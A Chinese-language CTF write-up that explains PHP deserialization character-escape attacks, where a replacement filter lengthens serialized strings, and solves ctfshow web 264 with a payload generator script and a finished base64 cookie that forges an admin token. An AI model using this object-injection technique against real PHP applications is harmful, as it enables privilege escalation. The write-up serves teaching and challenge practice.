第一种,关键词过滤,变多的
比如0ctf :piapiapia
我先说一次什么是反序列化字符逃逸。
<?php
class user{
public $user = 'admin';
public $pass = 'passwd';
}
$a = new user();
$b = serialize($a);
echo $b."<br>";
$c = unserialize($b);
echo $c->pass;
?>
序列化后的字符串应该能看出来,大括号外面有类名及长度,括号里面以分号划分多个变量,包含其变量名及长度,变量值及长度。
这些都是对应好的,而如果我们对比如user的值进行修改,改为admin1,而长度不变,当反序列化时就会报错。
<?php
$a = 'O:4:"user":2:{s:4:"user";s:5:"admin1";s:4:"pass";s:6:"passwd";}';
$b = unserialize($a);
echo $b->pass;
?>
说明函数长度不等会报错,很重要,当读入s:5:时,系统就知道后面引号内是字符串且长度为5,于是从双引号开始读入长度为5的字符,但由于admin1是6个字符,导致后面第6个字符该是双引号来结束,却没有,由此产生异常。而如果我们设置的payload则可以越过这个异常。
···
<?php
function filter($str){
$str = str_replace("ab","ccc",$str);
return $str;
}
class user{
public $user = 'ababababababababababababababababababababababababab";s:4:"pass";s:4:"hack";}';
public $pass = 'passwd';
}
$a = new user();
echo serialize($a)."<br>";
$b = filter(serialize($a));
echo $b."<br>";
$c = unserialize($b);
echo $c->pass;
?>
其中,user的值有25个ab,经序列化后又对其进行替换,每替换一个ab,就多一个字符,这样就可能会导致前面所说的系统知道的长度和实际长度不对应,就会报错,但后面的payload=";s:4:“pass”;s:4:“hack”;},这样就拼接起来,具体来说
初始序列化后为
可见长度为75,payload长度是为25,所以这里使用了25个ab,当替换后就多出25个字符。待替换后就为:
O:4:"user":2:{s:4:"user";s:75:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:4:"hack";}";s:4:"pass";s:6:"passwd";}
你可以知道,c的个数刚好为75个,而系统读入了75个字符想碰到双引号也成功,之后就会继续反序列化我们的payload,而在大括号之后的字符都会被挤进下一个参数中。
现在我们来写一下ctfshow web 264
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
hint :message.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
分析源代码:
目的很清楚,就是要把user换成admin,那怎么样去实现的?
关键代码
$umsg = str_replace('fuck', 'loveU', serialize($msg));
他可以把fuck换为loveu,那我们这样想,按照之前的想法,每替换一个,就会多出来一个字母,逃逸出去,如果我们可以构造出来多余的部分
也就是说我们变量t后面就是要替换的,那我们先构造payload:
$t= ?+";s:5:"token";s:5:"admin";}';
然后我们知道";之后开始算数后面为
";s:5:"token";s:5:"admin";
不算’和;
计算出来要27个字符,也就是说我们要构造27个fuck不停的替换,最后把user替换成admin
那好,我们现在来接着构造
?=fuck*27+";s:5:“token”;s:5:“admin”;
完整的payload
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f=0;
$m=0;
$t='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
//计算公式=2+你序列化之后的数字 2代表";,最后';是不算的
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);
?>
把base64编码后的结果放到cookie里面访问message.php就能拿到flag
Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO2k6MDtzOjM6Im1zZyI7aTowO3M6MjoidG8iO3M6MTM1OiJsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVUiO3M6NToidG9rZW4iO3M6NToiYWRtaW4iO30iO3M6NToidG9rZW4iO3M6NDoidXNlciI7fQ